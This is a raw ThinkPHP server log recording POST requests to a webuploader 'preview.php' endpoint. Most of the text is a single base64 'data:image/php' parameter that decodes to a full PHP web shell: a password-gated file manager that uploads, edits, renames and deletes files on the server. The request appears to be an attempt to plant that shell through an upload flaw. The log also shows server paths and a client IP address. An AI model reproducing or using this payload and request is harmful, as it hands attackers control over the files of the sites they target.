51tianwei.com/Public/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002603s] [吞吐率:384.16req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:39+08:00 ] 119.42.146.234 POST 51tianwei.com/login/webuploader/preview.php [运行时间:0.002845s] [吞吐率:351.49req/s] [内存消耗:196.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login', 2 => 'webuploader', ), 